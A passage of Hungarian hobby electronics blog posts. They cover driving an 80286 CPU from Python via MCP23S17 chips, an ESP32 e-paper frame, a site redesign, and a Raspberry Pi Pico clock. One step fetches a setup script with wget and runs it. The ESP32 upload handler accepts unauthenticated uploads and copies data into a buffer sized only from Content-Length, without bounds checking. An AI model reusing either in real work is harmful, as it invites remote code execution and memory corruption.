    chip_flag.writeRegister(MCP23S17.GPIOB, FLAG_RESET)
    time.sleep(0.001)

A sleep-eket teljesen hasra ütés szerűen választottam, nem kell igazodnunk semmilyen ütemhez. A RESET során a processzornak egy meghatározott állapotba kell kerülnie. Ezt az alábbi kis kóddal tudjuk ellenőrizni:

data = chip_addr.readRegister(MCP23S17.GPIOA)
print('A7-0:   ' + str(bin(data)))
data = chip_addr.readRegister(MCP23S17.GPIOB)
print('A15-8:  ' + str(bin(data)))
data = chip_misc.readRegister(MCP23S17.GPIOA)
print('A23-16: ' + str(bin(data)))
data = chip_misc.readRegister(MCP23S17.GPIOB)
print('PEACK, S0, S1, BHE, LOCK, M/IO, COD/INTA, HLDA: ' + str(bin(data)))

Az értékek, amit látnunk kell így néznek ki:

A7-0:   0b11111111
A15-8:  0b11111111
A23-16: 0b11111111
PEACK, S0, S1, BHE, LOCK, M/IO, COD/INTA, HLDA: 0b11111000

Furcsa módon engem a következő fogadott:

A7-0:   0b11111111
A15-8:  0b11111000
A23-16: 0b11111111
PEACK, S0, S1, BHE, LOCK, M/IO, COD/INTA, HLDA: 0b11111000

Nehéz volt nem észrevenni, hogy a második és a negyedik sor megegyezik. Ellenőriztem az összes csatlakozást, szétszedtem az egészet, LED-ek segítségével debug-oltam, hogy jó helyre mennek-e az értékek, amiket írok, kicseréltem a chip-et, amihez az A15-8 pin-ek voltak rendelve, kicseréltem a processzort a tartalékra, ezerszer is átolvastam a kódot, de semmi sem segített.

Végül az MCP23S17-nél említett hardver címes mókázás lett a megoldás. Lényeg, hogy ha minden rendben ment, elengedhetjük a RESET flag-et és elkezdődhet a boot-olás.

chip_flag.writeRegister(MCP23S17.GPIOB, FLAG_CLK | FLAG_RESET)
time.sleep(0.001)
chip_flag.writeRegister(MCP23S17.GPIOB, 0)
time.sleep(0.001)

Az inicializálás

Ezek után a processzornak 50 órajelcikluson belül el kell kezdenie olvasni a 0xFFFFF0 címről az első végrehajtandó utasítást. A COD/INTA, M/IO, S0 és S1 flag-ek határozzák meg, hogy mit szeretne csinálni a processzor.

A kevésbé érdekeseket kihagytam a táblázatból, az adatlapon megtekinthetőek. De a maradékból is csak erre a négyre lesz szükségünk a kis tesztünkhöz:

• halt / shutdown
• memory data write
• memory data read
• memory instruction read

Szóval elkezdjük küldeni az órajeleket és várunk, hogy elérkezzünk az első 'Memory instruction read'-ig:

cycle = 1
while True:
    print(f'#{cycle}')
    chip_flag.writeRegister(MCP23S17.GPIOB, FLAG_CLK)
    time.sleep(0.001)
    chip_flag.writeRegister(MCP23S17.GPIOB, 0)
    time.sleep(0.001)

    data = chip_misc.readRegister(MCP23S17.GPIOB)
    PEACK = data & FLAG_PEACK
    S0 = data & FLAG_S0
    S1 = data & FLAG_S1
    BHE = data & FLAG_BHE
    LOCK = data & FLAG_LOCK
    M_IO = data & FLAG_M_IO
    COD_INTA = data & FLAG_COD_INTA
    HLDA = data & FLAG_HLDA

    if not COD_INTA and M_IO and not S1 and not S0:
        print('halt / shutdown')
        sys.exit(0)
    elif not COD_INTA and M_IO and not S1 and S0:
        print('Memory data read')
    elif not COD_INTA and M_IO and S1 and not S0:
        print('Memory data write')
    elif COD_INTA and M_IO and not S1 and S0:
        print('Memory instruction read')

    time.sleep(0.01)
    cycle += 1

Ha sikeresen megérkezünk, akkor elkezdhetünk mondjuk NOP (0x90) utasításokat küldeni. Az adat buszt írásra állítjuk, ráküldjük a NOP utasítást, küldünk egy órajelet és visszaállítjuk az adat buszt olvasásra.

chip_data.writeRegister(MCP23S17.IODIRA, 0x00)
chip_data.writeRegister(MCP23S17.IODIRB, 0x00)
chip_data.writeRegister(MCP23S17.GPIOA, 0x90)
chip_data.writeRegister(MCP23S17.GPIOB, 0x90)

chip_flag.writeRegister(MCP23S17.GPIOB, FLAG_CLK)
time.sleep(0.001)
chip_flag.writeRegister(MCP23S17.GPIOB, 0)
time.sleep(0.001)

chip_data.writeRegister(MCP23S17.IODIRA, 0xFF)
chip_data.writeRegister(MCP23S17.IODIRB, 0xFF)

Bonyolult matematikai műveletek

Ez mind szép és jó, de nézzünk valami érdekesebbet, amihez olvasni és írni is kell a memóriát. Egy egyszerű kis program, ami a memóriából olvas be két számot, összeadja és visszaírja a memóriába az eredményt.

Mivel a memóriának eléggé a végén kezdtünk (0xFFFFF0), így nincs túl sok helyünk, először el kell ugranunk máshova.

reset.asm

[cpu 286]
org 0xfff0

jmp 0x0000:0x0500

Aztán jöhet az összeadás:

add.asm

[cpu 286]
org 0x0500

xor  ax, ax
mov  ds, ax

mov  ax, [num1]
add  ax, [num2]
mov  [result], ax

hlt

; Data
num1    dw 0x1234
num2    dw 0x000a
result  dw 0x0000

A nasm program segítségével generálhatunk belőle binárist is:

$ nasm reset.asm
$ nasm add.asm

Majd egy rövid kis Python script segítségével Python-formára hozhatjuk, hogy belerakhassuk a virtuális memóriánkba:

hex_dump.py

import sys

with open(sys.argv[1], "rb") as f:
    data = f.read()
hex_values = ", ".join(f"0x{byte:02x}" for byte in data)
print(f"[{hex_values}]")

$ python hex_dump.py reset
[0xea, 0x00, 0x05, 0x00, 0x00]
$ python hex_dump.py add
[0x31, 0xc0, 0x8e, 0xd8, 0xa1, 0x0f, 0x05, 0x03, 0x06, 0x11, 0x05, 0xa3, 0x13, 0x05, 0xf4, 0x34, 0x12, 0x0a, 0x00, 0x00, 0x00]

A memória szimulálására a következő osztálykát raktam össze:

class Memory:
    def __init__(self):
        self.__data = {}

    def load(self, base, data):
        for i, b in enumerate(data):
            self.__data[base + i] = b

    def __getitem__(self, address):
        return self.__data.get(address, 0x00)

    def __setitem__(self, address, value):
        self.__data[address] = value & 0xFF

Csak egy egyszerű dict egy kis segédfüggvénnyel, aminek segítségével tetszőleges címre tölthetünk be adatot. Amit aztán meg is teszünk a nasm által generált kóddal:

MEMORY = Memory()
MEMORY.load(0x000500, [
    0x31, 0xc0,
    0x8e, 0xd8,
    0xa1, 0x0f, 0x05,
    0x03, 0x06, 0x11, 0x05,
    0xa3, 0x13, 0x05,
    0xf4,
    0x34, 0x12,
    0x0a, 0x00,
    0x00, 0x00
])
MEMORY.load(0xfffff0, [
    0xea, 0x00, 0x05, 0x00, 0x00
])

Már csak az elágazásokat kell kitöltenünk, de előtte még szót kell ejteni a BHE flag-ről és az A0 értékről.

Tehát egy adat buszhoz kapcsolódó művelet során tudjuk a teljes adatbuszt, a nagyobb helyi értékű felét vagy a kisebb helyi értékű felét írni/olvasni.

A 'Memory data read' esetünkben nagyon hasonlít a 'Memory instruction read'-hez, úgyhogy össze is vonhatjuk a kettőt. Az újdonság a fenti flag-ek kezelése és a kamu memória használata lesz.

address = (a3 << 16) + (a2 << 8) + a1
if not COD_INTA and M_IO and not S1 and S0:
    print('Memory data read 0x{:06X}'.format(address))
else:
    print('Memory instruction read 0x{:06X}'.format(address))

if not BHE and not A0:
    print('Word transfer 0x{:02X}{:02X}'.format(MEMORY[address + 1], MEMORY[address]))
    chip_data.writeRegister(MCP23S17.IODIRA, 0x00)
    chip_data.writeRegister(MCP23S17.IODIRB, 0x00)
    chip_data.writeRegister(MCP23S17.GPIOA, MEMORY[address])
    chip_data.writeRegister(MCP23S17.GPIOB, MEMORY[address + 1])
elif not BHE and A0:
    print('Byte transfer on upper half of data bus 0x{:02X}'.format(MEMORY[address]))
    chip_data.writeRegister(MCP23S17.IODIRB, 0x00)
    chip_data.writeRegister(MCP23S17.GPIOB, MEMORY[address])
elif BHE and not A0:
    print('Byte transfer on lower half of data bus 0x{:02X}'.format(MEMORY[address]))
    chip_data.writeRegister(MCP23S17.IODIRA, 0x00)
    chip_data.writeRegister(MCP23S17.GPIOA, MEMORY[address])

chip_flag.writeRegister(MCP23S17.GPIOB, FLAG_CLK)
time.sleep(0.001)
chip_flag.writeRegister(MCP23S17.GPIOB, 0)
time.sleep(0.001)

chip_data.writeRegister(MCP23S17.IODIRA, 0xFF)
chip_data.writeRegister(MCP23S17.IODIRB, 0xFF)

Nem sokkal bonyolultabb, mint az eredeti NOP-os megoldásunk, de azért került bele egy extra pofon, amibe bele lehet futni. Milyen sorrendben tegyük a byte-okat az adat buszra? A GPIOA regiszter az adat busz legkisebb helyi értékű byte-ja, a GPIOB pedig a legnagyobb. Így például a kezdeti JMP utasításunk (0xea00) 0x00ea-ként fog utazni (little-endian).

Érdemes kicsit visszagörgetni és megnézni, hogy már a nasm is csinált ilyen cseréket, például az összeadáshoz használt 0x1234 számunk a memóriában 0x3412-ként van tárolva.

A 'Memory data write' nagyon egyszerű, csak a kamu memóriát kell használnunk:

address = (a3 << 16) + (a2 << 8) + a1
print('Memory data write 0x{:06X}'.format(address))

if not BHE and not A0:
    print('Word transfer 0x{:02X}{:02X}'.format(d2, d1))
    MEMORY[address] = d1
    MEMORY[address + 1] = d2
elif not BHE and A0:
    print('Byte transfer on upper half of data bus 0x{:02X}'.format(d2))
    MEMORY[address] = d2
elif BHE and not A0:
    print('Byte transfer on lower half of data bus 0x{:02X}'.format(d1))
    MEMORY[address] = d1

Itt is megfigyelhető a little-endian sorrend, bár a futtatások során nem láttam olyat, hogy egyszerre két byte-ot próbált volna írni a memóriába.

A 'halt / shutdown' során pedig csak kiíratjuk a memóriából az összeadás eredményét és kilépünk:

print('Result: 0x{:04X}'.format((MEMORY[0x000514] << 8) + MEMORY[0x000513]))
sys.exit(0)

A végeredmény

A futtatásnak végül egy ilyesmi kimenetet kell kiadnia, ahol látszik, ahogy beolvassuk a kezdeti JMP utasítást, elugrunk az új címre, továbbolvassuk onnan az instrukciókat, beolvassuk a memóriából a két összeadandó számot majd visszaírjuk a memóriába az eredményt:

RESET
A7-0:   0b11111111
A15-8:  0b11111111
A23-16: 0b11111111
PEACK, S0, S1, BHE, LOCK, M/IO, COD/INTA, HLDA: 0b11111000
START
#40
Memory instruction read 0xFFFFF0
Word transfer 0x00EA
#43
Memory instruction read 0xFFFFF2
Word transfer 0x0005
#46
Memory instruction read 0xFFFFF4
Word transfer 0x0000
#49
Memory instruction read 0xFFFFF6
Word transfer 0x0000
#52
Memory instruction read 0xFFFFF8
Word transfer 0x0000
#67
Memory instruction read 0x000500
Word transfer 0xC031
#70
Memory instruction read 0x000502
Word transfer 0xD88E
#73
Memory instruction read 0x000504
Word transfer 0x0FA1
#76
Memory instruction read 0x000506
Word transfer 0x0305
#79
Memory instruction read 0x000508
Word transfer 0x1106
#82
Memory instruction read 0x00050A
Word transfer 0xA305
#85
Memory instruction read 0x00050C
Word transfer 0x0513
#88
Memory data read 0x00050F
Byte transfer on upper half of data bus 0x34
#91
Memory data read 0x000510
Byte transfer on lower half of data bus 0x12
#94
Memory instruction read 0x00050E
Word transfer 0x34F4
#99
Memory data read 0x000511
Byte transfer on upper half of data bus 0x0A
#102
Memory data read 0x000512
Byte transfer on lower half of data bus 0x00
#115
Memory data write 0x000513
Byte transfer on upper half of data bus 0x0A
#116
Memory data write 0x000513
Byte transfer on upper half of data bus 0x3E
#119
Memory data write 0x000514
Byte transfer on lower half of data bus 0x12
#120
Memory data write 0x000514
Byte transfer on lower half of data bus 0x12
#123
halt
Result: 0x123E

Hatalmas öröm volt először látni a helyes végeredményt a futás végén. Azt hiszem ezzel el is jutottam egy olyan mérföldkőhöz, aminél érdemes megállni és megpihenni.

Természetesen csak a felszínt kapargattuk meg, rengeteg minden tanulnivaló maradt még. Érdemes belelapozgatni egy kicsit a processzor adatlapjába, esetleg elgondolkodni azon, hogy hogyan valósulnak meg a különböző perifériák, mint a billentyűzet vagy egy szöveges kijelző.

Ami viszont biztos, hogy a processzor számára egyáltalán nem virtuális ez a valóság. Mindegy neki, hogy honnan kapja az elektromos jelhalmazt, amíg az kompatibilis a saját belső valóságával.

Kaptam ajándékba egy e-papír kijelzőt és egy képkeretet, úgyhogy építünk egy otthoni klasztert használt mobiltelefonokból. Ja, nem. Egy digitális képkeretet építünk. Akit a klaszter jobban érdekelt volna, az így járt annak itt ez a cikk.

A dolog (e-)papíron egyszerű. Egy ESP32 van rákötve a kijelzőre, ami fent lóg a hálózaton és várja az új képeket, hogy befrissíthesse a kijelzőt. De valahogy elő is kell állítanunk a megfelelő képeket, mert a kijelző csak a fekete és a fehér színeket ismeri.

Összeszerelés

A paszpartu (új szó, amit a projekt során tanultam, előtte "az az izé, ami a kép körül van a kereten belül" néven ismertem), amit a kerethez adtak, nem egészen stimmelt méretben az e-papír kijelzőhöz. Kereshettem volna hozzá egy megfelelő vastagságú kartonpapírt, de inkább megnyitottam a FreeCAD-et, terveztem egy újat és kinyomtattam.

A kijelző tökéletesen illeszkedik bele (2-3 próbanyomtatás után) és a szalagkábelnek is van egy kis hely.

Szemfüles olvasók talán azt is meg tudják mondani, hogy melyik xkcd van épp a kijelzőn

A keret hátlapján vágnom kellett egy kis lyukat, ahol a kábelt ki lehet vezetni, hogy rá lehessen kötni az ESP32-re.

A szalagkábellel óvatosan kell bánni, elég törékeny. Ne kérdezd, hogy honnan tudom. És biztos nem azért kell ilyen rövid kábellel vacakolnom, mert a hosszabbító egyik csatlakozóját valahogy sikerült elrontanom.

Végül az ESP32-t rögzítettem egy minden esztétikát nélkülöző megoldással.

Az egészet megpróbáltam meghajtani egy IKEA-s powerbank-ről, de mint kiderült ezek a szerkezetek lekapcsolják saját magukat, ha nincsen rájuk dugva valami fogyasztó. Az e-papír kijelző pedig úgy tűnik nem fogyaszt eleget, hogy azt érzékelje.

Szoftver

Először is próbáljunk meg megjeleníteni valamit, hogy lássuk, hogy minden jól működik. Az ESP32-t a gyártó dokumentációja alapján az Arduino IDE-vel lőttem össze, majd szintén a dokumentáció alapján megjelenítettem egy képet.

#include <DEV_Config.h>
#include <EPD.h>
#include <GUI_Paint.h>

UBYTE *image;
UWORD imageSize = ((EPD_7IN5_V2_WIDTH % 8 == 0) ? (EPD_7IN5_V2_WIDTH / 8) : (EPD_7IN5_V2_WIDTH / 8 + 1)) * EPD_7IN5_V2_HEIGHT;
uint8_t *imageData = nullptr;

void setup() {
  DEV_Module_Init();
  EPD_7IN5_V2_Init();
  EPD_7IN5_V2_Clear();
  DEV_Delay_ms(500);

  if ((image = (UBYTE *)malloc(imageSize)) == NULL) {
    Serial.println("Failed to apply for image memory");
    while (1);
  }
  Paint_NewImage(image, EPD_7IN5_V2_WIDTH, EPD_7IN5_V2_HEIGHT, 0, WHITE);

  Paint_SelectImage(image);
  Paint_Clear(WHITE);
  Paint_DrawBitMap(imageData);
  EPD_7IN5_V2_Display(image);
  DEV_Delay_ms(2000);
}

Az imageData-nak jönnie kell valahonnan. Beégethetünk a kódba egy (vagy több) byte tömböt, de az nem túl rugalmas. Így ideje elgondolkodni azon, hogy hogyan is szeretnénk frissíteni a képet a kijelzőn.

Mivel van wifi, két irányba is elindulhatunk, vagy szerver leszünk vagy kliens. Én az előbbit választottam, kerestem egy webszerver library-t, ami működik a hardveren és csináltam egy /upload endpoint-ot.

// ...
#include <AsyncTCP.h>
#include <ESPAsyncWebServer.h>

// ...
static AsyncWebServer server(80);
bool imageChanged = false;

void on_request(AsyncWebServerRequest *request) {
  if (request->getResponse()) {
    return;
  }
  if (!request->_tempObject) {
    return request->send(400, "text/plain", "Nothing uploaded");
  }

  imageData = reinterpret_cast<uint8_t *>(request->_tempObject);
  imageChanged = true;

  request->_tempObject = nullptr;

  request->send(200, "text/plain", "OK");
}

void on_upload(AsyncWebServerRequest *request, String filename, size_t index, uint8_t *data, size_t len, bool final) {
  Serial.printf("Upload[%s]: start=%u, len=%u, final=%d\n", filename.c_str(), index, len, final);

  if (!index) {
    size_t size = request->header("Content-Length").toInt();
    if (!size) {
      request->send(400, "text/plain", "No Content-Length");
    } else {
      Serial.printf("Allocating buffer of %u bytes\n", size);
      uint8_t *buffer = new (std::nothrow) uint8_t[size];
      if (!buffer) {
        request->abort();
      } else {
        request->_tempObject = buffer;
      }
    }
  }

  if (len) {
    memcpy(reinterpret_cast<uint8_t *>(request->_tempObject) + index, data, len);
  }
}

void update_image() {
  Paint_SelectImage(image);
  Paint_Clear(WHITE);
  Paint_DrawBitMap(imageData);
  EPD_7IN5_V2_Display(image);
  DEV_Delay_ms(2000);

  delete imageData;
  imageData = nullptr;
  imageChanged = false;
}

void setup() {
  // ...

  server.on("/upload", HTTP_POST, on_request, on_upload);
  server.begin();
}

void loop() {
  if (imageChanged) {
    update_image();
  }
  delay(1000);
}

Ezek után egy egyszerű curl paranccsal frissíthetjük a képet:

$ curl -v -F "data=@something.wbm" "http://192.168.255.50/upload"

Már ha rendelkezünk a megfelelő formátumú képpel ugyebár. Ez a kijelző csak a feketét és a fehéret ismeri, még szürkeárnyalataink sincsenek, úgyhogy szükségünk lesz egy kis trükközésre.

Kép generálás

Először is fogjuk a 800x480 pixel méretű képünket (mert ez a kijelző felbontása), amit meg akarunk jeleníteni. Megnyitjuk Krita-ban, a Settings > Dockers > Palette menüponttal előhozzuk a palettákat. A bal alsó sarokban lévő ikonra kattintva megnyitjuk a paletta választót, ott a + jellel hozzáadunk egy újat, amit mondjuk elnevezünk "1bit"-nek és beállítjuk rajta a fekete és a fehér színt.

Ezek után a palettás ablakok bezárhatóak, nem lesz már rá szükség. A Filter > Map > Palettize... menüpontra megyünk át, itt kiválasztjuk a Palette résznél az "1bit"-et, bekattintjuk a pipát a Dither előtt és választunk a Pattern alatt lévő minták közül egy olyat, amivel elfogadhatóan néz ki a képünk.

Érdemes még a Color Mode és az Offset Scale beállításokkal játszani.

Mint már korábban is, a WBMP most is egy remek formátum lenne nekünk, de a Krita nem ismeri, úgyhogy jobb híján mentsük el a képet PNG-ként. Aztán az ImageMagick convert parancsával csinálhatunk belőle WBMP-t:

$ convert image.png image.wbmp

Az így elkészült fájl elején lesz pontosan 6 bájtnyi felesleges WBMP header, amire nekünk semmi szükségünk, úgyhogy szabaduljunk is meg tőle.

$ tail -c +7 image.wbmp >image_no_header.wbmp

Ezt pedig már rögtön fel is tölthetjük a korábban ismertetett módon:

$ curl -v -F "data=@image_no_header.wbmp" "http://192.168.255.50/upload"

Végül egy közeli az e-papír pixelekről:

A projekt tetszőlegesen bonyolítható tovább, például egy programmal, ami bármilyen képet átalakít a megfelelő formátumra és feltölti a képkeretre. Vannak már komolyabb e-papír kijelzők szürkeárnyalatokkal, sőt színekkel is, de mi a bejegyzésre szánt keret végére értünk.

Nyolc év. Nagyjából nyolc éve nem változott nagyobb mértékben az oldal kinézete. Voltak itt-ott kisebb átalakítások, de semmi komoly. 2024-re terveztem egy nagyobb ráncfelvarrást az oldal 20 éves évfordulójának alkalmából, de nem jött az ihlet. Készült egy fejléc kép még 2024 januárjában, de nem voltam vele elégedett. Aztán szépen gyorsan eltelt egy év és itt is vagyunk.

A háttérkép

Amikor a háttérnek nekikezdtem, akkor még nem tudtam, hogy a többi rész is el fog készülni, csak gondoltam vicces lenne random, programozásban használatos karaktereket odadobálni. Esetleg megszínezni őket úgy, mintha kódkiemelés lenne. Ez utóbbit végül elvetettem, hogy ne vonja el annyira a figyelmet a tartalomról. Helyette először random szürke árnyalatokat próbáltam ki, de túl random volt, úgyhogy a végül a Perlin-zaj lett az alapja a karakterek színének.

Egy eldobható kis PHP scripttel generáltam ki a megfelelő HTML-t, amit aztán lementettem képként, abból lett a háttérkép. A sötét téma változata pedig csak invertálva lett.

<!DOCTYPE html>
<html>
<head>
  <style type="text/css">
html, body {
  font: 24px 'DejaVu Sans Mono';
  margin: 0;
  padding: 0;
}
.bg {
  background-color: #e6e6e6;
  color: #000;
  width: 1920px;
}
.char {
  display: inline-block;
  height: 60px;
  line-height: 60px;
  text-align: center;
  width: 60px;
}
  </style>
</head>
<body>
<div class="bg">
<!-- PHP script helye -->
</div>
</body>
</html>

Az oldal kódszínezése nem kezeli jól a HTML-ben lévő PHP kódot, úgyhogy inkább különszedtem őket.

<?php
$chars = '\'"+!%/=(),.-?:_$\|<>#&@{}[]';

for ($y = 0; $y < 32; ++$y) {
  for ($x = 0; $x < 32; ++$x) {
    $p = round(20 + perlin($x*0.25, $y*0.25) * 80, 2);
    print('<div class="char" style="filter: opacity(' . $p . '%);">');
    print(htmlspecialchars($chars[mt_rand(0, strlen($chars) - 1)]));
    print('</div>');
  }
}
?>

A perlin() függvény PHP-s implementációját az AI-ra bíztam, nagyjából jól működött, de néha negatív értékeket adott vissza, annak ellenére, hogy 0 és 1 között kellett volna lennie a válasznak.

A fejléc kép

Az új alcím már egész régóta megvolt, tetszett a kis szójáték a végsebesség és a terminál sebessége között. Ez nagyjából meghatározta, hogy milyen irányba szeretnék elindulni az új fejléc képpel. Valami terminálra emlékeztető, valami sebességgel kapcsolatos, és természetesen legyen rajta lime.

Az alapját, a buborékos-lime szeletes képet az AI szolgáltatta. Általában ingyenes stock fotókat szoktam vadászni, de nem jött most olyan szembe, ami megihletett volna.

Kerültek rá CRT scanline-ok, ami talán ad egy kis terminálos érzetet. Az alcím is egy root terminál prompt, a végén kurzorral (# terminal velocity_). A vízszintes glitch-vonalak pedig a vizuális érdkesség mellett talán sikeresen keltik a mozgás, a sebesség érzetét. De nem mennék műelemzési mélységekbe. :)

Az elkészítéshez a Krita nevű programot használtam. Berozsdásodott Photoshop ismereteimmel is egész otthonosan mozogtam benne, nem volt olyan életidegen, mint amilyennek a GIMP-et szoktam érezni.

És a többi

A többi pedig nem változott. Nagyjából elégedett vagyok a szövegek elrendezésével, a betűméretekkel, a színekkel. Két verzió közti apróbb módosítások általában ezen a téren történnek. Egy kis padding javítás itt, egy kis betűméret igazítás ott, vagy épp a dark mode lefejlesztése.

A blog motor se változott különösebben, még mindig a saját házibarkács statikus site generátorom generálja a HTML-t az oldalhoz. Talán csak a kódszínezés lett lecserélve kliens oldaliról szerver oldalira, hogy ne kelljen JavaScript az oldal működéséhez.

Szóval nagyjából ennyi. További kellemes olvasást az elkövetkező 20 évre is.

Úgy érzem magam, mint a Die Hard filmek magyar címeinek kitalálói érezhették magukat a negyedik rész környékén, amikor már nem nagyon tudtak több élet-szerű címmel előállni. Én is kezdek kifogyni az idővel kapcsolatos címekből, pedig ismét haladt előre egy kicsit a projekt.

Az előző részekben a CLion nem igazán szerette volna azt csinálni, amit mi szeretnénk és a PyCharm se volt a végletekig együttműködő ((Nincs még) Itt az idő), de legalább sikerült egy aranyos kis doboz-kezdeményt nyomtatni az óra köré (Dobozba zárt idő), amit most nem használunk.

Ma azzal folytatjuk, hogy visszalépünk egy kicsit és megpróbáljuk még egyszer megszelídíteni a CLion-t, azután pedig megtapasztalhatjuk azt is, hogy milyen borzalmakat rejtenek magukban az időzónák.

Fejlesztői környezet és a Pi

A hobbi projektek elsődleges célja (legalábbis nálam), hogy lehetőség szerint remekül szórakozzak (kinek mit jelent a szórakozás, ugye, de ezt majd később meglátjuk). Mivel foglalkozok eleget Python-nal a hétköznapok során, ezért szívesebben néztem volna más jellegű kihívások elé. Meg hát makacs is vagyok.

Az eredeti ötlet az volt, hogy fogok egy rendes Raspberry Pi-t, a Picoprobe (Debugprobe) helyett rákötöm a Pico-t a Raspberry Pi GPIO-jára, rádugok egy monitort/billentyűzetet/egeret és azon kezdek el fejleszteni. Az ötlet egy árnyalatnyit módosult, amikor nem találtam itthon megfelelő HDMI átalakítót a Rasberry Pi-hoz. Az új terv az lett, hogy megpróbálom meggyőzni a Windows gépen futó CLiont, hogy használja SSH-n keresztül a Raspberry Pi-t build környezetként.

Elméletileg a Pi a legalkalmasabb környezet a Pico fejlesztéshez. Néhány egyszerű parancs után mindennek működnie kell:

$ wget https://raw.githubusercontent.com/raspberrypi/pico-setup/master/pico_setup.sh
$ chmod +x pico_setup.sh
$ ./pico_setup.sh

Már csak egy kis várakozás és kész is... kivéve, ha véletlenül egy Raspberry Pi 5 egyre kevésbé boldog tulajdonosai vagyunk, mert arra a bejegyzés írásakor még nem volt felkészítve ez a script. Szerencsére megtaláltam ezt a pull request-et, ami a megoldás feléig eljuttatott, de szükségem volt még egy új OpenOCD interface konfigra is, amit már nem emlékszem honnan ollóztam össze:

/usr/local/share/openocd/scripts/interface/raspberrypi5.cfg

adapter driver linuxgpiod

adapter gpio swclk 24 -chip 4
adapter gpio swdio 23 -chip 4

Így már sikerült megfuttatni az egyik példaprogramot.

$ openocd -f interface/raspberrypi5.cfg -f target/rp2040.cfg -c "program gfx_pack_demo.elf verify reset exit"

Annak ellenére, hogy ezt sikerült megoldani, valamiért mégsem ebbe az irányba mentem, talán azt olvastam valahol, hogy ez a driver lassabb, mint a Picoprobe, úgyhogy visszadugdostam az eredeti felállást és USB-n kötöttem rá a Pi-ra a Pico-t, így az OpenOCD a már megszokott paranccsal működött:

$ openocd -f interface/cmsis-dap.cfg -f target/rp2040.cfg -c "program gfx_pack_demo.elf verify reset exit"

A munka oroszlánrésze

Már csak a CLiont kell rábírni az együttműködésre. Elméletileg megvan benne a támogatás, lássuk mire megyünk vele. Először is kell neki egy SSH konfig a Pi-hoz:

Aztán egy remote toolchain, ami ezt az SSH kapcsolatot használja:

Valószínűleg érdemes egy deployment-et is beállítani, hogy a fájl másolgatás jól működjön (ennek ellenére nem fog, de erre mindjárt visszatérünk):

És végül egy debug konfiguráció, hogy futtatni tudjuk a kódunkat.

Itt van egy pár érdekesség, amiről érdemes szót ejteni. A GDB-nél a remote host-on futót választottam, így a 'target remote' args csatlakozhat localhost-ra (a gdb és az openocd is a Pi-on fut). A "GDB Server args" környékén régen elég volt az első kettő paraméter (interface és target beállítás), az adapter speed valószínűleg opcionális. A program pedig... hát az elég érdekes.

Egy ideális világban az "Upload Executable" rész az mondjuk "If updated" lenne "Never" helyett, de ha az be van kapcsolva, akkor a Windows-os gép elérési útján próbálná megkeresni a fájlt, ami nincs ott, mert a Pi-on generálódott ELF fájlokat a CLion nem tölti le.

Ha kikapcsolom a ticket-ben említett beállítást és nyomok egy Tools > Resync with Remote Host opciót, akkor ugyan letölti az ELF fájlt, de valahogy még mindig nem kerül rá a Pico-ra. A kimenet alapján mintha elkezdené, de végül csak nem történik semmi. Vajon minek kell egyáltalán letöltenie (és aztán visszatöltenie a Pi-ra), ha minden ott van már a Pi-on? Rejtély.

Szóval inkább meghívom a program-ot kézzel, de így a reset miatt megszakad a debugger kapcsolata, ami a debug-olás esetén nem annyira kellemes. A vége az lett, hogy két konfigurációt csináltam, az egyik feltölteni tud (benne van a program rész), a másik meg csak debug-olni (nincs benne a program rész). Nem ideális a rendszer, de használható.

A konzolos kimenetet pedig a Pi-on futtatott minicom -b 115200 -o -D /dev/ttyACM0 paranccsal tudom elérni.

A pontos idő

A Python-os változatban elkészült már a pontos idő beszerzése, ezt kénytelenek vagyunk megtenni most a C SDK segítségével is. A valóságban ez még a Python-os változat előtt elkészült, de ettől most tekintsünk el.

Először is van egy kis konfigurációs része, ami a CMakeLists.txt-be kerül:

add_definitions(
  -DSNTP_SERVER_DNS=1
  -DSNTP_SERVER_ADDRESS="hu.pool.ntp.org"
  -DSNTP_SET_SYSTEM_TIME=sntp_set_system_time
  -DSNTP_STARTUP_DELAY=0
)

Amit itt érdemes megfigyelni, hogy hivatkozunk egy C-s függvényre (sntp_set_system_time), amit majd meg kell valósítanunk. Szükségünk lesz ugyanott pár könyvtárra is az SDK-ból:

target_link_libraries(
  pico-clock
  hardware_rtc
  pico_cyw43_arch_lwip_threadsafe_background
  pico_lwip_sntp
  pico_stdlib
  pico_time
)

A korábban említett függvény, ami kezeli az NTP szervertől kapott időt:

#include "hardware/rtc.h"
#include "lwip/apps/sntp.h"
#include "pico/cyw43_arch.h"
#include "pico/stdlib.h"
#include "pico/time.h"
#include "pico/util/datetime.h"

bool sntp_finished = false;

void sntp_set_system_time(uint32_t sec) {
  datetime_t datetime;
  time_to_datetime(sec, &datetime);

  rtc_set_datetime(&datetime);

  sntp_stop();
  cyw43_arch_disable_sta_mode();

  sntp_finished = true;
}

A sikeres idő szinkronizáció után kikapcsoljuk az SNTP modult és lejövünk a wifi-ről is. Már csak el kell indítanunk mindent:

int main() {
  stdio_init_all();
  cyw43_arch_init_with_country(CYW43_COUNTRY_HUNGARY);
  rtc_init();

  cyw43_arch_enable_sta_mode();
  while (cyw43_arch_wifi_connect_timeout_ms("SSID", "secret", CYW43_AUTH_WPA2_AES_PSK, 30000)) {
    printf("failed to connect.\n");
  }

  sntp_setoperatingmode(SNTP_OPMODE_POLL);
  sntp_init();

  while (!sntp_finished) {
    printf("waiting for time.\n");
    sleep_ms(100);
  }

  datetime_t now_utc;
  char datetime_buf[256];

  while (true) {
    rtc_get_datetime(&now_utc);
    datetime_to_str(&datetime_buf[0], sizeof(datetime_buf) / sizeof(char), &now_utc);
    printf("%s\n", datetime_buf);
    sleep_ms(1000);
  }
}

Ha minden jól megy, akkor a Pico kap internet elérést, felveszi a kapcsolatot az NTP szerverrel és a konzolon másodpercenként elkezdenek jönni az üzenetek a pontos időről:

Tuesday 27 August 20:47:13 2024
Tuesday 27 August 20:47:14 2024
Tuesday 27 August 20:47:15 2024
...

Nagy bánatunkra UTC-ben, úgyhogy kell valami megoldást találnunk rá, hogy a helyi időt megkapjuk.

Elidőztem az időzónákkal

Nem sokat érne egy asztali óra, ha csak UTC-ben lenne képes megjeleníteni az időt. Az NTP szervertől egy unix timestamp-et kapunk, de az RTC (Real-time clock) modul már egy datetime_t struct-ot vár és azt is tudunk kinyerni belőle, így az idő megjelenítésénél ezzel vagyunk kénytelenek dolgozni.

